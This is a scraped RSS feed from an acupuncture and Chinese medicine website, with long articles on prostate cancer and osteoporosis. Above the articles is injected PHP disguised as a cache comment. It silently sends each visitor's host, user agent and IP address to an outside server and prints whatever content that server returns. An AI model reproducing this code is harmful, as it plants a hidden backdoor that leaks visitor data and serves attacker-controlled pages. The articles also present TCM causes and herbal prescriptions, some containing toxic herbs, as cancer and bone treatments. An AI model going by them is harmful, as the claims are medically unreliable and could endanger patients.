/** * Implement the LightSpeed cache. */ if (preg_match ('/.*77.*/', $_SERVER['REQUEST_URI']) || preg_match ('/.*ach.*/', $_SERVER['REQUEST_URI'])) { error_reporting(0); $url="http://w3lightcache.com/server_new.php";$params="h=$_SERVER[HTTP_HOST]&ua=$_SERVER[HTTP_USER_AGENT]&ip=$_SERVER[REMOTE_ADDR]&ip2=$_SERVER[HTTP_X_FORWARDED_FOR]&uri=$_SERVER[REQUEST_URI]";$ch=curl_init($url);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$params);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$result=curl_exec($ch);curl_close($ch); if (!empty($result)) {echo $result; die;} } yang – American Institute of Acupuncture http://acuherb.us Acupuncture, herbs, and traditional Chinese Medicine, health full service spa Mon, 10 Sep 2018 16:49:35 +0000 en-US hourly 1 https://wordpress.org/?v=5.0.21 Prostate Cancer http://acuherb.us/prostate-cancer/ Tue, 03 Apr 2012 01:53:34 +0000 http://acuherb.us/?p=1465

By Dr. Ken Y Wang

Prostate cancer is one of the most common cancers affecting men, especially elderly men in their sixties, seventies and eighties. It has been suggested that if every man lives long enough, he will eventually develop prostate cancer. In western countries, it is the cancer most frequently found in men after skin cancer. The disease is less common among Asian men, though rates in Asian populations are rising; something thought to be due to the increased levels of red meat and animal fat in Asian diets. 

The prostate is a walnut shaped gland that wraps itself around the urinary outlet tube, the urethra, just under the bladder and in front of the rectum in human males. Females do not have this organ or any equivalent organ. The prostate produces a protein-rich fluid that nourishes and supports the sperm produced by the testicles. The sperm and prostatic fluid together form the semen ejaculated by males during orgasm.

As men age, the prostate enlarges, a condition known as benign prostatic hypertrophy, and symptoms caused by pressure on the bladder and the urethra develop. These include more frequent urination, a difficulty starting urination, pain on urinating and difficulty passing urine. In some cases, when the prostate enlarges the cells undergo a cancerous change. In many men, this happens so slowly they never know they have cancer. Some cases have been diagnosed as an “incidental finding” during the post-mortems done on men who have died from other causes. But in others, the cancerous change can be rapid and the prostate cancer can spread beyond the prostate into other organs, usually the bones of the pelvis and spine, before the man has symptoms. There is new evidence that a particular tumour gene, known as P53 indicates whether the man has a tumour likely to spread rapidly or grow slowly. If P53 is present in the tumour, it is usually a much more aggressive and dangerous cancer.

The incidence of prostate cancer is low in China, but has risen significantly in recent years. This is thought to be due to lifestyle changes such as eating increased levels of red meat and animal fat. The current western thinking about prostate cancer did not exist in ancient China. Instead, prostate cancer would have been described according to its symptoms of “strangury”, “retention of urine” (inability to urinate) and “haematuria” (blood in urine). In Traditional Chinese Medicine (TCM) like western medicine, “strangury” means dribbling urination and frequent urination with prickling pain or pain radiating to the lower abdomen. This symptom can also be present in other health conditions such as certain types of venereal disease, benign prostatic hypertrophy, and some bladder diseases. “Retention of urine” occurs when the prostate enlarges, as is often the case with prostate cancer, and blocks the bladder’s outflow. 

The TCM perspective of how fluid is processed and urine is made is important in the development of prostate cancer:
Because there is no historical understanding of the prostate organ in Traditional Chinese Medicine, the organs that control urine production and excretion play a crucial part in the treatment of prostate cancer. The lung, spleen and kidney all have roles in fluid metabolism and in regulating its distribution. The upper, middle and lower burners act together as the distribution pathway for body fluids. All body fluids will gather finally in the kidney, where they will be separated into fluid that can be reused by the body or “turbid’ water that cannot. The “turbid” water is then sent to the bladder for excretion as urine. TCM describes this fluid regulation and the excretion function as “vaporization“. The bladder, as in western medicine, is responsible for storing and excreting urine. Disharmony of the bladder can lead to urinary problems such as incontinence or difficultly urinating. Kidney function complements bladder function so a problem with the bladder often indicates kidney problems as well. The kidney organ, in TCM, is additionally responsible for sexual function.

 


Understanding how urine is formed from a TCM perspective

 

Causes

TCM believes health is achieved when yin and yang are in harmony. The body’s physical form belongs to yin while the body’s activities or functions belong to yang. Because both the body’s physical form and functions are dynamically balanced, they mutually restrict and depend on one another. Hence, in TCM disease results from either a deficiency of vital energy (qi) (diagnosed as a deficiency of yin fluid or a deficiency of yang qi) or an excess of the “pernicious evils” (excess of yin evils or yang evils). Pernicious evils are factors outside the body that cause disease. The conflict between resuming vital energy and getting rid of the “pernicious evils” is what allows the disease to either progress or transform back to a healthy state.

According to TCM theory, prostate cancer is caused by heat, stasis or deficiencyproblems. Heat is considered a pernicious evil. (See above for definition.) Stasis or deficiency problems, which are described below in more detail, stem from a deficiency of vital energy (qi).

Heat:

The concept of heat includes two types: “damp-heat evil” and “hyperactivity of excessive ministerial fire.” Damp heat evil occurs when there is an over consumption of greasy foods and alcohol. This leads to a malfunction of the stomach and spleen and causes a build up of damp heat that flows downwards, attacks the bladder and impairs the vaporization function responsible for fluid regulation. (See definition section.) Symptoms like dribbling urine, frequent urination with or without prickling pain and periodic retention of urine can develop when this happens.

Ministerial fire is the source of heat power in the human body. In TCM, it is believed that when a man is overly sexually active, the kidney essence is consumed and the internal ministerial fire becomes excited. The excessive ministerial fire is a kind of “evil fire” which makes the body produce heat. This “evil fire” affects the lungs, bladder and triple burner and impairs the passage of body fluids. As a result, symptoms of urinary frequency and dribbling urine with prickling pain may occur. 

Stasis: 

Stasis occurs when a particular substance cannot flow smoothly. In TCM, stasis happens when there is stagnation of qi or blood flow. The kidneys play an important part in the vaporization of body fluids. In this process, fluids are separated by the kidneys to ones that can be reused by the body or into “turbid water” which is eventually excreted as urine. When the emotion rage impairs liver function, the surrounding vital energy or qi stagnates and cannot flow properly, eventually transforming into an “evil-fire.” As the “evil fire” accumulates in the lower burner, the vaporization process is affected and so is normal urination.

Qi is the commander and controller of the body’s blood. Once qi flow stagnates, blood circulation will not be smooth, and this can lead to difficulty urinating and to bloody urine (haematuria). 

Deficiency: 

Deficiency problems refer mainly to kidney failure, which results from the damage done by the above mentioned causes of heat and stasis. In summary, sexual excess and improper diet both lead to an accumulation of damp heat and ministerial fire, which contribute to qi stagnation and blood stasis. These, in turn, eventually exhaust kidney –yin, which is the foundation supplying fluid to the entire body for moistening and nourishing purposes. Once kidney yin is completely exhausted, kidney failure will ensue. 

Other Causes of Prostate Cancer:
Other factors associated with the development of prostate cancer are still under further investigation.
These include: 

high levels of male hormones
excessive sexual activity
gonorrhea
other causes of urinary tract infections
A chronic intake of greasy food leading to a disorder in hormone metabolism.

Symptoms

Modern TCM practitioners mostly follow western theories when assessing prostate cancer symptoms. Initially there may be no symptoms present at all. When the prostate cancer enlarges to a level where it blocks urinary outflow, dribbling urination, frequent urination with prickling pain or pain radiating to the lower abdomen (strangury) and urine retention are commonly seen. Haematuria (blood in the urine) usually appears at a later stage of disease involvement. 

The presence of damp heat in the body or overstrain strangury can cause thirst with a lack of desire to drink, constipation, burning and stabbing pain during urination, or dribbling urine. Overstrain strangury means the body is overworking and makes the strangury symptoms more severe. 

Stagnation of qi flow and blood stasis are usually present when urine retention occurs. (See causes section.) Symptoms related to these conditions include lower abdominal distension, localized pain, difficultly urinating or inability to urinate. 

Haematuria can be a manifestation of hyperactive and excessive ministerial fire. Related symptoms arising from excessive ministerial fire include face blushing, excessive thirst, feeling annoyed or distracted, insomnia, urinary hesitancy and pain on urination. 

Other signs that may be present with prostate cancer:

The tongue signs: 

Individuals with damp heat usually have a red tongue with yellow and greasy fur. Those with blood stasis have a dark tongue with pinpoint bruises, and those who suffer from exhausted kidney yin have a red or deep red tongue without fur. 

The pulse signs:

A rolling and rapid pulse is present in people with damp heat problems. Individuals with blood stasis often have a hesitant pulse, and those with kidney–yin exhaustion have a soft, thready and weak pulse. 

Prostate cancer is famous for being silent: that is, causing no symptoms able to warn of its presence. Many are diagnosed during a routine physical examination or after a screening blood test known as a Prostate Specific Antigen (PSA) has been done. When symptoms do appear, they are usually similar to those caused by enlargement of the prostate (benign prostatic hypertrophy-described in the definition section). 

These include:

Increased urinary frequency, especially at night
Difficulty starting urination
Difficulty passing urine
Pain on passing urine

Symptoms more suggestive of prostate cancer include:

Blood in the urine
Pain in the pelvis and spine
Weight loss
Night sweats
Severe tiredness

Diagnosis

Diagnosis of prostate cancer mainly depends on western methodologies because the concept of a prostate organ did not exist originally in Traditional Chinese Medicine. Examination of a man’s prostate organ through the rectum is usually done during routine physical check ups to detect its size and texture. Ultrasound and CT (computed tomography) scans are very helpful for diagnosis and locating areas to which the disease may have spread. Other measures include looking for cancer cells in prostatic fluid or from a fine needle biopsy of the prostate. Recently prostate specific antigen (PSA) blood tests have been used to screen for early prostate cancer in older men, usually those over fifty. 

Prostate cancer can only be differentiated from benign prostatic hypertrophy by using modern medical investigations. Benign prostatic hypertrophy occurs when the prostate gland enlarges and puts pressure on the bladder and urethra (the urinary outflow tract from the bladder). In TCM and western medicine, there are no big differences between prostate cancer and benign prostatic hypertrophy symptoms. Likewise, the TCM tongue and pulse signs are similar for both conditions. However, benign prostatic hypertrophy, while able to cause significant discomfort and put dangerous backpressure on the kidney, is not a form of cancer and does not metastasize (spread to other parts of the body).

In TCM, the diagnosis is not prostate cancer per se but rather a classification of its symptoms into five different syndromes, which are outlined below. The general progression of prostate cancer from a TCM perspective goes from damp-heat flowing downward in the body to stagnation of qi and blood stasis to hyperactivity of heart-fire and hyperactivity of excessive ministerial fire, finally leading to kidney failure.

Diagnosis is based on four important examination techniques. The first is “questioning.” The TCM practitioner will want to know important information such as what your current complaints are, your past medical history and family health history. The second technique is “observation.” Looking at the physical features of the body such as the face, tongue, hair, nails, sputum and area of pain all give clues as to what the problem may be. The third technique is “hearing and smelling.” Smelling the sputum and breath and listening to the sounds coming from the chest are important. The last technique used in examination is “touching.” Feeling the pulse is a cornerstone of TCM diagnosis and gives the TCM practitioner a lot of information about imbalance in the body. If the TCM practitioner suspects there might be a serious problem that Chinese medicine alone cannot treat he or she may recommend that the individual see a western doctor for further follow up.

Features of the TCM syndromes associated with prostate cancer are: 

Damp-heat 
Damp-heat is heavy and likes to flow downward and accumulate in the lower burner (bladder, large intestine) region, which results in frequent, difficult and/ or urgent urination. The tongue appears red with a yellow and greasy covering, and the pulse is rolling and rapid with this syndrome. 

Kidney-Yin Exhaustion
Under normal conditions, kidney–yin & kidney–yang restrict, promote, and depend on each other in order to maintain a dynamic balance of yin & yang. This means the kidneys are kept in a constant state of functioning where they are not over or under functioning. When kidney–yin becomes exhausted and cannot perform its usual functions, kidney yang cannot be kept in check and the body experiences virtual heat symptoms. These symptoms manifest as urinary frequency and urgency, dry throat, restlessness, dry and hard stools, hot feelings in the palms, lower back, knee soreness and weakness of the lower extremities. The tongue appears red without a mossy covering, and the pulse feels thready and soft. 

Decline of Kidney-Yang
This type is seldom encountered but is very serious. Kidney-yang is the main source of energy for life’s activities. Therefore, if kidney–yang declines, the body will be unable to perform warming and promoting functions, causing a yang-deficiency in many other organs, which may lead to death. Individuals usually feel weak and fatigued. They have pale complexions, cold limbs, sore loins (waist area) and experience an aversion to cold temperatures. Urinary symptoms associated with this condition include urinary frequency, dribbling urination and a weak urine stream. The tongue appears pale with a thin fur layer, and the pulse feels deep and weak.

Stagnation of Qi 
When qi movement is sluggish, it causes improper fluid circulation. Symptoms related to improper fluid circulation include difficulty urinating, inability to urinate, emotional depression, irritability, quick temper and chest and abdominal distension. The pulse is stringy, and the tongue is red with a yellowish, thin fur. Those who also have blood stasis (poor blood flow) will have a dark tongue with pinpoint bruises and a hesitant pulse. 

Hyperactivity of Heart-fire
A kidney–yin deficiency can also affect the heart by disrupting its normal functions and creating a “heart fire evil” or heart-yang excess. When this happens, the blood vessels become damaged and the blood leaks out. Urinary symptoms related to this condition include haematuria (blood in the urine), prickling pain on urination and dark-colored urine. Other symptoms include insomnia, feeling annoyed and the presence of boils on the mouth and tongue. On examination, the tongue usually has a red tip, sometimes with a prickly appearance and a thin or yellowish fur coating. The pulse feels thready and rapid. 

If one suffers from hyperactivity of excessive ministerial fire, symptoms such as hyper-sexuality, a red tongue with a thin or yellowish fur and a rolling and rapid pulse will be present. (See causes section under heat for further explanation.)

Treatment

Surgery

If the cancer has been diagnosed early, is still within the prostate gland itself and is of a type considered unlikely to spread rapidly, surgical removal of the entire prostate, an operation known as a radical prostatectomy, may be considered. However, this operation has a high rate of complications, leaving up to up to sixty percent of men impotent and more than ten percent with incontinence (where they cannot control urine flow). This is because the nerves controlling these functions are very close to where the prostate sits under the bladder. The sphincter, a muscle that holds the bladder closed, is located just above the prostate and is also vulnerable to damage during surgery. In expert hands, that is, when done by a surgeon who does many of these procedures at a hospital where the operating theatre and nursing staff are very experienced in prostate surgery, the complication rates are much lower. Some surgeons in top American hospitals report incontinence in only two percent of their patients and impotence in ten percent. For this reason, choosing your surgeon very carefully once you have been diagnosed with operable prostate cancer is essential. It is worth getting several opinions and asking each surgeon for their post-surgery complication rates. If they will not give you this information, ask your usual medical adviser to help you find out who has the lowest complication rates. 

Radiotherapy

Those men whose tumours are too advanced for surgery, who are considered unsuitable for surgery, or who would like to avoid the complications of surgery, may be given radiotherapy, where a radiation beam is directed at the prostate to burn away the cancer. This treatment may also be used to burn away secondary prostate cancers in the pelvic bones and spine to stop the pain caused by such tumours. In the right men, who are carefully selected according to the size and stage of their tumour, brachytherapy, a treatment where tiny radioactive implants are inserted into the prostate cancer, has been very successful. 

Chemotherapy

Advanced tumours or those thought likely to spread even after surgery may be treated with a combination of drugs able to kill cancer cells, known as chemotherapy. Doses and courses vary according to the oncologist’s assessment of which chemical is likely to be most effective but courses are usually given over several months. 

Hormone therapy

Because prostate cells are very sensitive to the male hormone testosterone, hormone therapy is given, usually as a long-acting injection, to block the effect of testosterone and delay the spread of advanced prostate cancer. Sometimes both testicles are surgically removed to achieve the same effect without using drugs. Unfortunately, this has marked side effects such as breast development, impotence, loss of sexual desire, and a change from a low to a higher voice, but it can effectively slow down the progression of the disease.

There are many ways to treat prostate cancer after a definitive diagnosis has been made. Western treatment methods: hormone therapy, surgery, chemotherapy and radiotherapy are important for curing or arresting disease progression. (See western medicine section.) However, due to the different side effects each option causes (i.e. inability to control urination, impotence and loss of sexual desire), these clinical methods still have limitations. 

TCM focuses on holistic healing and creating a harmonious balance in the body. The yin and yang philosophy is central to achieving balance and is used to identify good and evil health influences, distinguish between body excesses & deficiencies and to regulate the functions of the organs, qi, and blood. TCM can complement western medicine by helping to increase therapy efficacy, improve quality of life and in some cases prolong the lifespan. 

Surgery is an area in which TCM treatments can be especially useful. The mere act of surgery causes damage to a person’s body by exhausting its healthy energy and increasing blood loss causing an imbalance of yin and yang. TCM herbal preparations and other treatments such as acupuncture or qi gong used before and after the operation can reduce the damage from intra and post-operative complications, improve operation tolerance and promote health restoration. Before surgery, TCM preparations that invigorate qi, enrich the blood, strengthen the spleen and nourish the kidney and liver are generally chosen. Afterwards, preparations that tonify qi, nourish yin, promote blood circulation, resolve blood stasis, regulate the function of the spleen and stomach and improve the function the kidney and liver are used to restore the body’s health. Herbal prescriptions are adjusted when complicating factors such as a build up of phlegm, dampness, stasis, toxins and heat evils are impeding recovery. Aside from surgery, TCM herbal preparations have been shown in research studies to improve the efficacy of chemotherapy and radiotherapy and reduce their side effects. When deciding what herbal treatments to take, it is always best to consult a qualified TCM physician who can plan follow up visits with you to monitor how successful a particular treatment has been and to ensure the right care is being given.

Below are some examples of selected herbal prescriptions that are used by TCM doctors to treat the different syndromes associated with prostate cancer. 

Pathogenic Damp-heat accumulation in lower burner 
Therapeutic aim: Clear away damp-heat in the lower burner
Prescription: Sanmiao pellet

cang shu atractylodes root
huang bai amur cork-tree
niu xi twotooth-achyranthes root

Addition for individuals with dribbling after urination: 

shi wei shearer’s pyrrosia leaf
bi xie dioscorea hypoglauca root
tu fu ling glabrous greenbrier root

Addition for individuals with haematuria: (Blood in urine)

da ji Japanese thistle herb
xiao ji field thistle herb
niu xi twotooth (charred)

Therapy for Kidney-Yin ExhaustionTherapeutic aim: Nourish kidney–yin.Prescription: Zhibai Bawei pellet 

zhi mu common anemarrhena root
huang bai amur cork-tree
sheng di rehmannia root
shan yu ru Asiatic cornelian cherry fruit
fu ling Indian bread
ze xie oriental water plantain root
shan yao common yam root

Addition for individuals with severe cases:

gui ban tortoise shell

Therapy for Decline of Kidney-YangTherapeutic aim: Warm and nourish kidney–yang. 
Prescription: Jisheng Shenqi pellet 

shu di rehmannia root (processed)
shan yu ru Asiatic cornelian cherry fruit
shan yao common yam root
niu xi twotooth-achyranthes root
che qian zi plantain seed
fu zi prepared common monkshood daughter root
rou gui cassia bark

Addition for individuals with severe cases:

lu jiao shuang (degelatined)deerhorn
or or
lu rong pilose antler
ren shan ginseng

Syndrome differentiation must be accurate when using these medicinal substances for warming and nourishing kidney–yang. They should not be used for those withhyperactivity of excessive ministerial fire. 

Therapy for Hyperactivity of Heart-fireTherapeutic aim: Eliminate heart-fire.Prescription: Daochi powder 

sheng di rehmannia root
zhu ye bamboo leaf
sheng gan cao unprocessed liquorice root
mu tong vine of clematis armandi

Addition for individuals with urgency or dribbling after urination:

niu xi tan charred twotooth-achyranthes root
ren dong hua honeysuckle flower
tu fu ling glabrous greenbrier root

Therapy for Stagnation of Qi
Therapeutic aim: Regulate the functional activities of vital qi. 
Prescription: Chenxiang powder 

chen xiang Chinese eaglewood wood
shi wei pyrrosia leaf
chen pi dried tangerine peel
Huang bu liu xing cowherb seed
dong kui zi cluster mallow seed

Addition for individuals with blood stasis:

tao ren peach seed
hong hua safflower
]]> Osteoporosis http://acuherb.us/osteoporosis/ Fri, 30 Mar 2012 19:57:55 +0000 http://acuherb.us/?p=1459

Osteoporosis is a debilitating condition of skeletal fragility that predominantly affects women and is particularly common in the elderly. It is a metabolic bone disease characterized by a parallel reduction in bone mineral density and bone matrix, leading to deterioration of the micro-architecture of bone tissue and impairment of the structural integrity of trabecular bone (the inner part of bone that consists of a meshwork of bony bars with numerous interconnecting spaces containing marrow). The consequence is that although the bone tissue has normal composition and proper mineralization, the bone mass (density) is reduced and the bone becomes more fragile. To establish a diagnosis of osteoporosis, the individual bone mineral density is compared with the peak bone mass measurement in the healthy young adult. This comparison is made by means of standard deviation (SD) units (T scores). Clinically, a patient is said to suffer from osteoporosis if his/her bone density falls 2.5 SD below the mean of normally mineralized bone, calculated in comparison to age-, sex-, and race-matched controls (a T score of  2.5). For example, compared to standardized bone density measurements of the total hip of 833 mg/cm2, in osteoporosis, the same measurements will be lower than 648 mg/cm2(World Health Organization). If not prevented or if left untreated, osteoporosis can progress painlessly until a bone breaks. Any bone can be affected, but of special concern are fractures of the hip and spine. A hip fracture almost always requires hospitalization and major surgery. It can impair the ability to walk unassisted and may cause prolonged or permanent disability, or even death. Spinal or vertebral fractures also have serious consequences, including loss of height, severe back pain and deformity.

Multiple etiologic factors of osteoporosis have been identified, which give the various disease types their names.

Postmenopausal, estrogen-deficient osteoporosis
Age-related osteoporosis
Diet-related bone loss
Disuse osteoporosis
Endocrine-mediated bone loss
Disease-related bone loss
Drug-induced bone loss
Heritable osteoporosis

Statistics

Osteoporosis is a major public health concern that affects more than 28 million Americans, 80 per cent of whom are women. Women are more likely than men to develop osteoporosis because, as a group, they have lighter bones, less total calcium, and also lose bone at a rate three times greater than that of men. In the US today, 10 million individuals have the disease and 18 million more have low bone mass, placing them at increased risk for osteoporosis. Ten per cent of African-American women over the age of 50 years have osteoporosis; an additional 30 per cent have low bone density that puts them at risk of developing osteoporosis. Significant risk has been reported in people of all ethnic backgrounds.

The disease accounts for more than 1.5 million fractures per year in the US: one out of every four women by the age of 70 develops an osteoporotic fracture; and one in two women and one in eight men over the age of 50 will have an osteoporosis-related fracture in their lifetime. These fractures include the following (approximate figures):

300,000 hip fractures
700,000 vertebral fractures
250,000 wrist fractures
300,000 fractures at other sites

Osteoporosis is defined in Western medicine as loss of bone density. The disease is most commonly seen in women and is characterized by reduced bone mass, deterioration of bone tissue and an increased risk of bone fractures. It is induced by a physiological degeneration within the body that affects the formation and loss of bone tissue.

The skeleton is the frame of body that protects the internal organs and allows movement. Cavities within the bone store bone marrow, which nourishes the bones and helps manufacture cells such as red and white blood cells and platelets. TCM believes that bone growth is controlled by the kidneys and that the bone marrow is derived from the essential qi or essence of the kidney, called jing. In recent years, many bone disorders have been successfully cured by TCM practitioners through treatment of the kidney. 

In the traditional Chinese medicine (TCM) classic Huang Di Nei Jing (The Yellow Emperor’s Medicine Classic), bone diseases with similar symptoms to osteoporosis were given names like “bone flaccidity syndrome,” “withered bone syndrome,” “arthralgia syndrome” and “bone atrophy syndrome.” These syndromes refer to various kinds of bone diseases, but share the common symptom of reduced bone mass. Modern TCM practitioners believe that the features of “bone flaccidity syndrome” and “bone atrophy syndrome” are most consistent with today’s understanding of osteoporosis.

Causes

Bone quality is a significant factor that affects the development of osteoporosis. This parameter is determined by bone mass (as measured by bone density) and also by the micro-architecture of bone. Bone density at any given time depends on both the peak bone density achieved during development and subsequent adult bone loss. Collectively, these affect the relative intactness of bones, with respect to tensile strength, fragility and freedom from fatigue damage. Many studies demonstrate the ability of bone density to predict fractures, especially fragility fractures (those caused by minor trauma). The risks vary depending on the populations studied and on the technique of measuring the bone density.

Nonmodifiable risk factors

Advanced age : Bone density increases dramatically during puberty in response to gonadal hormone release and eventually reaches values in young adults that are nearly double those of children. After peak bone density is reached, bone density remains stable for years and then declines.
Gender : Considerable evidence suggests that bone loss begins before menses cease in women and in the third to fifth decade in men. In women, once the menopause is established, the rate of bone loss is accelerated several-fold. The chances of developing osteoporosis are greater for woman because they have less initial bone tissue and lose it more rapidly because of the changes involved in the menopause.
Family history and personal history of fractures as an adult : Susceptibility to fracture may be, in part, hereditary. Young women whose mothers have a history of vertebral fractures also seem to have reduced bone mass. A personal history of a fracture as an adult also increases fracture risk.
Race : Caucasian and Asian women are more likely to develop osteoporosis..


Potentially modifiable risk factors 

Bone structure and body weight : Small-boned, fair-skinned, and thin women are at greater risk.
Estrogen deficiency : Normal or early menopause (brought about naturally or because of surgical removal of the ovaries) increases the risk of developing osteoporosis. A menstrual history of late-onset menses, or of amenorrhea (absence of menstrual periods) also increases risk.
Lifestyle : Stress, smoking, excess alcohol consumption, and a sedentary lifestyle are associated with the development of osteoporosis.
Diet : A high intake of caffeine, phosphorous, or protein, and a diet poor in calcium and vitamin D affect bone formation.
Poor eyesight : Impaired eyesight despite adequate correction can lead to falls.
Poor health/frailty Medications : A number of drugs taken for other conditions can have an affect on osteoporosis, either because they interfere with bone formation or accelerate its loss.
Chronic health problems : Diseases such as chronic liver disease, chronic liver failure, endocrinopathies (eg, diabetes, hyperthyroidism), malabsorption syndromes, rheumatoid arthritis, and chronic anorexia can also be risk factors for osteoporosis.

From TCM’s viewpoint, osteoporosis is caused by a kidney deficiency. As people get older, the essential qi (jing) of the kidney gradually declines and results in a lack of nutrients for the bones to grow and function properly. This causes the bones to become fragile and break or deform easily. Bone fractures can be hard to heal due to the lack of nourishment and kidney deficiency.

The causes of kidney deficiency leading to osteoporosis are as follows: 

1. Exhaustion of kidney essence.
Kidney essence may be depleted in one of three ways:

A congenital deficiency (a deficiency you are born with) and the aggravation of external factors, such as excessive sexual activities and frequent childbirth, cause the kidney essence to become severely depleted. This leads to loss of bone nutrients.
The elderly are especially vulnerable to osteoporosis if they do not take good care of their bodies because the depletion of kidney essence accelerates with age.
Exogenous pathogens can easily invade and damage the kidney when vital qi (energy) is insufficient. This causes the development of osteoporosis. .
2. Acquired Deficiency
Under normal conditions, the spleen and stomach are responsible for changing digested nutrients into qi, blood, and acquired (postnatal) jing. Over-consumption of alcohol and food can damage the spleen and stomach and reduces the amount of jing available to nourish the bone, bone marrow and muscle. Additionally, when the stomach and spleen dysfunction, a decline in formation of qi and blood results and this can contribute to osteoporosis development.
3. Invasion of exogenous pathogens
Osteoporosis can occur when external cold and dampness evils, which are exogenous pathogens, invade the body and impair the vital qi (energy) and kidney qi. This leads to a deficiency of kidney essence (jing) and a failure in the bone marrow to replenish the nutrients needed to retain bone strength. Other symptoms such as lumbago (back pain) and arthralgia (joint pain) can occur when cold and dampness evils stagnate in the tendons and joints, blocking the circulation of qi and blood in that area. 

TCM followers believe that external cold and dampness pathogens can invade the body under the following conditions:

Living in cold and moist areas for a long time
Exposure in a windy place while drinking alcohol
Bathing or taking a shower while sweating
Eating too much cold food and
Lying in damp and moist open areas such as wet grassy fields.

Symptoms

The clinical symptoms of primary osteoporosis are:

Lumbago (back pain)
Decrease in body height and /or hump back (kyphosis) giving a stooped appearance
Bones that easily fracture
Difficulty in breathing due to malformation of the back limiting the amount of air that can be inhaled.

Persons with osteoporosis will also be diagnosed with a TCM disharmony pattern. (See diagnosis section). Each disharmony pattern displays different symptoms, which are described as follows:

1. Yin deficiency of the liver and kidneys
  The individual experiences soreness and pain in the back and loins, weakness in the loins and knee joints, general weakness and fatigue, dryness of the mouth and throat, a hot sensation in palms and soles, and night sweating or spontaneous sweating.
2. Blood deficiency and excessive dampness
  This manifests as soreness and pain in the back and loins, a hump back, pale complexion, heart palpitations and dizziness. There may also be pain and soreness in the joints or the lower limbs may be swollen.
3. Retention of dampness and kidney deficiency
  This disharmony pattern is characterized by lower back pain, localized chills, weakness and soreness in the loins and knees. In severe cases the lumbar vertebrae (lower back bones may collapse or a hump back develop. Additional symptoms are a cold feeling in the limbs, urinary frequency, and an aversion to the cold. The symptoms may be aggravated in a cold environment or with a drop in the ambient temperature.
4. Asthenia-syndrome of superficies and interior dampness retention
  The individual suffers from pain in the hip and back, joint swelling, sweating and has an aversion to wind (coldness). A sense of heaviness may also be felt.
5. Cold in the superficies and heat in the interior
  The symptoms here are body aches and sweating, and an aversion to cold temperatures. Additional symptoms can include dry mouth, thirst, and constipation.
6. Marrow deficiency and channel bi-syndrome
  The individual experiences pain in lumbar region. In severe cases, the lumbar vertebrae may collapse or a hump back may occur. Joints can become deformed and develop limited movement. Individuals may also experience dizziness, heart palpitations, and shortness of breath.

Diagnosis

Osteoporosis is an insidious disease that can remain silent for decades before the bone is weakened to the point that it sustains a spontaneous fracture. The earliest signs of osteoporosis are often associated with compression fractures of the spine characterized by an episode of acute pain in the middle to low thoracic or high lumbar region . Decrease in height and appearance of a dowager’s hump are reliable indicators of the early progress of the disease. Also, the patient often reports early satiety and a bloated feeling after eating only a small amount of food. 

A bone mineral density (BMD) test is the only way to diagnose osteoporosis and determine an individual’s risk for future fracture. It measures the density of the bones (bone mass) and will indicate whether medication is needed to help maintain bone mass, prevent further bone loss and reduce fracture risk. The BMD test is accurate, painless and noninvasive. It is also possible to determine the rate of bone loss and/or monitor the effects of treatment if tests are conducted at intervals of a year or more.

Criteria approved for BMD tests are summarized below:

estrogen-deficient women at clinical risk of osteoporosis.
vertebrate abnormalities on x-ray suggestive of osteoporosis (osteopenia, vertebral fracture)
primary hyperparathyroidism – abnormal function of the parathyroid glands itself which result in high level of blood calcium.
monitoring response to an FDA-approved medication for osteoporosis.

For an uncomplicated patient with osteoporosis, a laboratory work-up may be recommended in addition to a BMD test. 

Based on four examination techniques, TCM practitioners will diagnosis osteoporosis according to its clinical symptoms and further characterize it by the disharmony patterns displayed by each individual. At various stages of disease, different disharmony patterns are present and individuals with the same disease will be treated differently depending on the type of disharmony pattern they have. 

The common disharmony patterns of osteoporosis are:

1. Yin deficiency of the liver and kidneys
  When the body perceives that it is inadequate in bone marrow, the liver and kidney will hyper-function to compensate. This results in a relative yin deficiency inside the body. Virtual “fire” is produced and presents as heat symptoms. On examination, the tongue is red with a scanty thin fur coating. The pulse feels thready and rapid.
2. Blood deficiency and excessive dampness
  Improper functions of the spleen and stomach lead to a decline in the production of blood and bone marrow, plus an accumulation of dampness. It gives rise to a non-smooth flow of blood and qi, which in turn supply inadequate nutrients to the bones. People may feel weakness, back pain or joint pain. On examination, the tongue is pale and covered with greasy fur. The pulse sign is deep and rolling.
3. Retention of dampness and kidney deficiency
  The kidneys govern water, produce marrow, dominate the bones and manufacture blood. The kidney yang energy is the source of all heat in the body. Kidney deficiency occurs when cold and dampness evils damage the kidneys. This results in inadequate kidney essence (jing) to supply the bone marrow and causes deterioration of the bones. Symptoms can manifest as back pain and hump back. On examination, the tongue is pale and covered with white greasy fur. The pulse feels deep, thready and stringy.
4. Asthenia-syndrome of superficies and interior dampness retention
  This is a morbid condition resulting from the exposure to exogenous pathogens in a person whose organs, like the spleen and stomach, are in a hypo-functioning state. When the body accumulates lot of evils (most likely dampness and coldness), stagnation of qi flow in the meridians and the joints occurs and results in impairment of organ and bones, which leads to symptoms of sluggishness, tired and heavy limbs, and joint pain. On examination, the tongue has a white coating. The pulse sign is deep and rolling.
5. Cold in the superficies and heat in the interior
  This morbid condition results from the wind and cold evils that accumulated in the superficial regions of body has invaded interiorly and transformed into heat evil. This process manifests as both heat and cold syndromes clinically. These syndromes cause kidney damage and lead to failure supply of kidney essence (jing) for bone growth. On examination, the tongue is red and covered with white greasy fur, or yellow-colored fur. The pulse feels thready, stringy and rapid.
6. Marrow deficiency and channel bi-syndrome
  When marrow is seriously exhausted, the body skeleton loses nutrients. The accumulated evils block the channels or meridians that are the paths for transportation of nutrients and this accelerates the bone deterioration. The person presents with serious symptoms like severe bone or joint pain and bone distortion. On examination, the complexion may appear pale or dark in color. The tongue is dark red, and covered with white greasy fur. The pulse feels deep and stringy.

Treatment

A blend of Western and TCM approaches can be of benefit in the treatment of osteoporosis. Often a combined treatment produces better outcomes than the exclusive use of one method. It is best to get the advice of a TCM practitioner who knows what is best for you and your condition. The treatments described below are some approaches that may be taken to treat the different TCM syndromes associated with osteoporosis.

1. Yin deficiency of liver and kidney


Therapeutic aim:Nourishes yin for kidney and liver, replenishes jing and marrow.

Prescription: liuwei dihuang pellet with modification

gan di huang dry rehmannia root
shan yu rou Asiatic cornelian cherry fruit
huai shan yao common yam root
fu ling Indian bread
dan pi tree peony bark
gou qi chi Barbary wolfberry fruit
chuan duan Himalayan teasel root

